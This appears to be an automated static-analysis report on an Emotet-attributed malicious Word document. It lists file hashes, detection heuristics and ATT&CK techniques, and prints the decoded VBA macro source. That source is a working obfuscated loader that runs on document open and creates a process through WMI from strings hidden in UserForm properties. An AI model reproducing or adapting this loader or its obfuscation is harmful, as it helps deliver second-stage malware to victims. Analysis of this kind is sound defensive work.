Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4754922e285916fa…

MALICIOUS

Office (OLE)

168.5 KB Created: 2020-07-20 13:54:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: cd044a58ac64874fd23f23e9af4e40f9 SHA-1: 75bed443e4bd5545e4af9a974242462ff137d3ef SHA-256: 4754922e285916fa27cc839eaf5c719beaaf818817b41c95ee773254d306f6c7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The VBA code is obfuscated but appears to construct and execute a command. The ClamAV detection name further supports the Emotet family attribution. The primary function of the script is to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9395267-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9395267-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10290 bytes
SHA-256: fb2202f446ed1ecc8dca0ff8a468ef3df2626e45ba45876bd196cdcaa443cb4d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "tiochyeescheuv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
choajzaihzucmiohwouzsey
End Sub


Attribute VB_Name = "toapquoathooh"
Attribute VB_Base = "0{97EF4461-7643-4DF3-BE16-AA361081C452}{DF4925B2-3C42-40BA-AF73-2CA44B8DA051}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "liaryeunpoijpaeztheuy"
Function choajzaihzucmiohwouzsey()
chaibgeaj = Chr(toapquoathooh.Zoom + 1 + 4 + 10)
Dim BiW1Oujj As Integer
For BiW1Oujj = 3 To 5 + 5
DoEvents
Next BiW1Oujj
naithjuy = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + chaibgeaj + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + toapquoathooh.beat + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
Dim nKrPwX As String
nKrPwX = Replace$("Udglq1UXLnYV", "Udg", "RThCMP8ArHN")
thaszouchzuqudousleom = raochciex(naithjuy)
Dim W1UISOnXMLB As String
W1UISOnXMLB = Replace$("NZ5Ef7AalhQpm", "NZ5Ef7Aal", "ORJ6AXQ")
Set meithwougdiadgequkeas = CreateObject(thaszouchzuqudousleom)
Dim mJTY As String
mJTY = Replace$("R1UBv0I3EbyyEVsZjgG", "R1UBv0I3Eby", "iei2IY")
geot = toapquoathooh.maequ.ControlTipText
Dim vFktbhVi As String
vFktbhVi = Replace$("feUfrMGIX1?cBi", "feU", "Qlu")
kod = thaszouchzuqudousleom + chaibgeaj + toapquoathooh.nufjooquneh.ControlTipText + geot
Dim jbqvN3A7Cr As Byte
queehmeob = kod + toapquoathooh.beat
Dim yuklqG As Date
Set peigveogdeiwyib = lopchetcouxwuagbeikkeac(queehmeob)
Dim DQk As Object
s = Array(nba, meithwougdiadgequkeas. _
Create(haehlindaetxaurpeoc, paupweevfexcodxaeb, peigveogdeiwyib))
Dim Xw3I8IKy1Nw As Byte
Dim UmSF As Currency
End Function
Function lopchetcouxwuagbeikkeac(reemzaufpuayqueowwoexmuc)
Set lopchetcouxwuagbeikkeac = CreateObject(reemzaufpuayqueowwoexmuc)
Dim VvSORugs As Integer
For VvSORugs = 2 To 3 + 3
DoEvents
Next VvSORugs
lopchetcouxwuagbeikkeac _
. _
showwindow = (buuysas + kaegjaejpaovziol) + (guazzaurkilkeik + wathnaixchoegnaemchoeh)
Dim YITX As String
YITX = Replace$("Q7IA8ED3EbuuD3NBG", "Q7IA8ED3Ebu", "SFo5UhLvJ")
Dim vEWs4OTUh As String
vEWs4OTUh = Replace$("edUfrLGtW1IbAi", "edU", "Q6Is")
End Function
Function raochciex(neasxaun)
woem = neasxaun
Dim KmJU As Double
weathmuaj = Split(woem, "*6723tguT&^$^RFy23uikJGD")
Dim FgCvBs As Integer
For FgCvBs = 1 To 4 + 8
DoEvents
Next FgCvBs

xeuv = vVXqw + Join(weathmuaj, vVXqw)
Dim iVvSORugs As Byte
raochciex = xeuv
Dim fv1OYVoT As String
fv1OYVoT = Replace$("HEedUUZ7EwGlubAiI", "HEedUUZ7E", "kuwcN")
End Function
Function haehlindaetxaurpeoc()
opo = toapquoathooh.pioch.Pages(1).ControlTipText
Dim XK6IihX4a As Integer
For XK6IihX4a = 3 To 7 + 6
DoEvents
Next XK6IihX4a

haehlindaetxaurpeoc = raochciex(opo)
Dim CJbwfpl2a As Byte
End Function


' Processing file: /opt/analyzer/scan_staging/28aaa6253ca34695a03209ef8f6a02e5.bin
' ===============================================================================
' Module streams:
' Macros/VBA/tiochyeescheuv - 1376 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub tiochyeescheuv())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/toapquoathooh
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.